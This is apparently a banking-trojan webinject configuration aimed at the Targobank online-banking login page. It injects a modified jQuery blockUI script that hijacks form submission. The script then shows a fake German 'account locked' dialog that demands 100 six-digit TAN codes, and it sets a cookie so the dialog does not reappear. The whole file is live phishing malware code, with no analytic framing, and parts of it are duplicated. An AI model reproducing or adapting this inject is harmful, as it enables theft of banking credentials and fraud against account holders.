var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url https://www.targobank.de/de/online-banking/login* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
